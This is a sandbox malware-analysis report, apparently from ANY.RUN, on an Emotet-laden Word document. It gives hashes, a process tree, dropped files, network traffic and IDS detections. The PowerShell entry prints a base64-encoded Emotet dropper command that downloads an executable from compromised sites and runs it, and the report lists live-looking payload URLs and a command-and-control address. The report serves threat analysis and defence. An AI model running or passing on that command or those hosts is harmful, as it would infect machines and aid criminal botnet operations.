analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Adjunto 20190918_11279970.doc

Full analysis: https://app.any.run/tasks/7d50e205-33cb-4884-82b5-aac8831c3a32
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: September 19, 2019, 07:59:57
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
emotet-doc
emotet
generated-doc
loader
trojan
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Senior Rustic Rubber Soap context-sensitive, Subject: Program, Author: Deon Raynor, Comments: benchmark, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Sep 18 11:25:00 2019, Last Saved Time/Date: Wed Sep 18 11:25:00 2019, Number of Pages: 1, Number of Words: 95, Number of Characters: 547, Security: 0
MD5:

168F95E1FB74647F9CD0C33436B2F608

SHA1:

ABF98DB8FB9484BEEC4E735E901FCF3E548591D6

SHA256:

AFDCCD405933071CDA1309E827C1007999B04022420486E54EBEFA4F53B7E0EB

SSDEEP:

6144:M3pm1VmTG3cBubZMHY6I2KDNTto08WQxqLkI47NSU4jJntATfDecj1jVkAM:M3pm1VmTG3cBubZMHY6I2KDNTto08WQG

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 553.exe (PID: 2168)
      • 553.exe (PID: 3648)
      • 553.exe (PID: 3512)
      • 553.exe (PID: 2372)
      • easywindow.exe (PID: 2744)
      • easywindow.exe (PID: 3792)
      • easywindow.exe (PID: 2808)
      • easywindow.exe (PID: 3624)
    • Emotet process was detected

      • 553.exe (PID: 2372)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 2508)
    • Connects to CnC server

      • easywindow.exe (PID: 3624)
    • Changes the autorun value in the registry

      • easywindow.exe (PID: 3624)
    • EMOTET was detected

      • easywindow.exe (PID: 3624)
  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 2508)
    • PowerShell script executed

      • powershell.exe (PID: 2508)
    • Executed via WMI

      • powershell.exe (PID: 2508)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2508)
      • 553.exe (PID: 2372)
    • Application launched itself

      • 553.exe (PID: 3648)
    • Starts itself from another location

      • 553.exe (PID: 2372)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3408)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3408)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: Senior Rustic Rubber Soap context-sensitive
Subject: Program
Author: Deon Raynor
Keywords: -
Comments: benchmark
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2019:09:18 10:25:00
ModifyDate: 2019:09:18 10:25:00
Pages: 1
Words: 95
Characters: 547
Security: None
CodePage: Windows Latin 1 (Western European)
Company: Walter and Sons
Lines: 4
Paragraphs: 1
CharCountWithSpaces: 641
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
Manager: Stamm
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
44
Monitored processes
10
Malicious processes
8
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe 553.exe no specs 553.exe no specs 553.exe no specs #EMOTET 553.exe easywindow.exe no specs easywindow.exe no specs easywindow.exe no specs #EMOTET easywindow.exe

Process information

PID
CMD
Path
Indicators
Parent process
3408"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Adjunto 20190918_11279970.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2508powershell -encod JABiAGsAYQB0AGEAdwBaAD0AJwBzAHcAaQBRAEsASgA1ACcAOwAkAGIAQgBNAGoAdgBaAG4AIAA9ACAAJwA1ADUAMwAnADsAJABrAGkASABSADMASQBiAD0AJwBWADQATwBCAEMARwBYACcAOwAkAEQASwBpAE8AWABiAGsAdwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAYgBCAE0AagB2AFoAbgArACcALgBlAHgAZQAnADsAJABYAEkAYgA5AG0AQQA2AD0AJwBOADMARABxAE0ASAAnADsAJABaAGMAdAB6AEUARgA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAZQBjAHQAJwApACAAbgBFAHQALgBXAEUAYgBjAGwAaQBlAE4AdAA7ACQAcgB3AEYAMABzAEMAQwB6AD0AJwBoAHQAdABwADoALwAvAGIAcgBpAGsAZQBlAC4AYwBvAG0ALwBnAGEAbABsAGUAcgB5AC8ANABkAGMAbQBuADcAMgA0ADMAMAAvAEAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AZQBjAGgAZQBsAG8AbgBhAC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdAB5AGgANQA3ADcANgA5AC8AQABoAHQAdABwADoALwAvAGcAcgB1AHAAbwBlAHEALgBjAG8AbQAvAGwAZQBkAHMALwBkAGEAbAA1ADIAMwAwADEALwBAAGgAdAB0AHAAOgAvAC8AawBpAHIAcwB0AGUAbgBiAGkAagBsAHMAbQBhAC4AYwBvAG0ALwBlAGMAcAA0AC8AbQBoAGgAMgAwADMAMAA1AC8AQABoAHQAdABwADoALwAvAHAAYQBpAGYAaQAuAG4AZQB0AC8AcwBzAGYAbQAvAGIAbQA4ADQAMAAvACcALgAiAFMAUABgAGwAaQBUACIAKAAnAEAAJwApADsAJAB1AGEAVABqAGsAMABMAD0AJwBrAG0AegBjAEsAegB3ACcAOwBmAG8AcgBlAGEAYwBoACgAJABqADAAbgBvAG8ATwBpACAAaQBuACAAJAByAHcARgAwAHMAQwBDAHoAKQB7AHQAcgB5AHsAJABaAGMAdAB6AEUARgAuACIAZABgAE8AYABXAE4AbABgAE8AQQBEAEYAaQBMAGUAIgAoACQAagAwAG4AbwBvAE8AaQAsACAAJABEAEsAaQBPAFgAYgBrAHcAKQA7ACQASQBJAHYAOABIAFgAPQAnAEoAdgBiAHUAcQBIADAAaQAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0ACcAKwAnAGUAbQAnACkAIAAkAEQASwBpAE8AWABiAGsAdwApAC4AIgBMAGUAbgBgAEcAdABIACIAIAAtAGcAZQAgADIANAAwADQAMwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYQBgAFIAVAAiACgAJABEAEsAaQBPAFgAYgBrAHcAKQA7ACQARQA0AEoAUQBDAE0APQAnAGkAcwBGAEUAUABaACcAOwBiAHIAZQBhAGsAOwAkAHYAdQA5AFMANwBFAGwAdwA9ACcAaQBCAGYAegA2ADkAegAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABMAEEANABzAHUAegA9ACcATwBGAHEATABWAGsASgBEACcAC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2168"C:\Users\admin\553.exe" C:\Users\admin\553.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3512"C:\Users\admin\553.exe" C:\Users\admin\553.exe553.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3648--12e39b71C:\Users\admin\553.exe553.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2372--12e39b71C:\Users\admin\553.exe
553.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3792"C:\Users\admin\AppData\Local\easywindow\easywindow.exe"C:\Users\admin\AppData\Local\easywindow\easywindow.exe553.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2744"C:\Users\admin\AppData\Local\easywindow\easywindow.exe"C:\Users\admin\AppData\Local\easywindow\easywindow.exeeasywindow.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2808--fd47f3b8C:\Users\admin\AppData\Local\easywindow\easywindow.exeeasywindow.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3624--fd47f3b8C:\Users\admin\AppData\Local\easywindow\easywindow.exe
easywindow.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
1 752
Read events
1 269
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
10
Text files
0
Unknown types
43

Dropped files

PID
Process
Filename
Type
3408WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR9C16.tmp.cvr
MD5:
SHA256:
3408WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D8958C96.wmfwmf
MD5:EC0E6D18AE4E6AB1867D18D216C7F34E
SHA256:D2C2BB9899CD7E91DD31929BFEF9C4DC3DF68E4486BBD617CE011142F9DD27D0
3408WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:62F2DA178DD59EBA6B61EE250E55F925
SHA256:8CF938206B83D51659082A32A71F3A9F077217F5A2E07A98541350C60245A244
3408WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6504E9AA.wmfwmf
MD5:E7256523B15D2B8C2FEA30BD65D1DF47
SHA256:AC9062F0D907259303A4A7B062F4D391789B28531AB081B9F522D997D60C38E1
3408WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D780BF48.wmfwmf
MD5:74976422D88097590EAEEE0C6656A616
SHA256:65646324D59647177D5E9090250896A5DA57EC17DEAB5EC0BFED222F083F438C
3408WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E7F399A3.wmfwmf
MD5:B35A209E6DFCFC143D93F24249DF1CE2
SHA256:986DFFB4355B3AA21EFE4E3E7E7108D02DFFD23336E0357D32C43105278AA104
3408WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B1D05BFD.wmfwmf
MD5:2C64CC7906851654BECC58E932B54067
SHA256:74D486DBCDDC7BDE3D579CB4563C60BE8FCBEB638AB2662B4DF5FF81A1656BC7
3408WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5041E79F.wmfwmf
MD5:D4288E0800826368E57BF9592010ADD5
SHA256:65D335AC22C2817FF8C848137B62D93B454AE5E2CFECCD1B005B4EC4CED64C47
3408WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\77BAE521.wmfwmf
MD5:959559C6E42FC25918C876853D9BB69C
SHA256:344C7303C91ECC57766D822417BE15D203EA99588352A7F786B903563B870D58
3408WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C516775B.wmfwmf
MD5:175C4216965D3664F742E82BBC69B263
SHA256:BC383C6F813A79F10A47CB94EC70A454F7AEB5B96C61391F9FAEAAA81EC20876
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
4
DNS requests
4
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2508
powershell.exe
GET
404
185.57.197.56:80
http://grupoeq.com/leds/dal52301/
ES
html
273 b
suspicious
2508
powershell.exe
GET
200
83.137.145.97:80
http://kirstenbijlsma.com/ecp4/mhh20305/
NL
executable
376 Kb
suspicious
2508
powershell.exe
GET
302
129.121.15.236:80
http://brikee.com/gallery/4dcmn72430/
US
html
227 b
suspicious
3624
easywindow.exe
POST
200
114.79.134.129:443
http://114.79.134.129:443/guids/
IN
binary
132 b
malicious
2508
powershell.exe
GET
200
129.121.15.236:80
http://brikee.com/cgi-sys/suspendedpage.cgi
US
html
7.12 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2508
powershell.exe
129.121.15.236:80
brikee.com
Colo4, LLC
US
suspicious
2508
powershell.exe
185.57.197.56:80
grupoeq.com
Tecnocratica Centro de Datos, S.L.
ES
suspicious
2508
powershell.exe
83.137.145.97:80
kirstenbijlsma.com
Duocast B.V.
NL
suspicious
3624
easywindow.exe
114.79.134.129:443
D-Vois Broadband Pvt Ltd
IN
malicious

DNS requests

Domain
IP
Reputation
brikee.com
  • 129.121.15.236
suspicious
www.echelona.net
unknown
grupoeq.com
  • 185.57.197.56
suspicious
kirstenbijlsma.com
  • 83.137.145.97
suspicious

Threats

PID
Process
Class
Message
2508
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2508
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2508
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
3624
easywindow.exe
A Network Trojan was detected
AV TROJAN W32/Emotet CnC Checkin (Apr 2019)
3624
easywindow.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
3624
easywindow.exe
Potentially Bad Traffic
ET POLICY HTTP traffic on port 443 (POST)
4 ETPRO signatures available at the full report
No debug info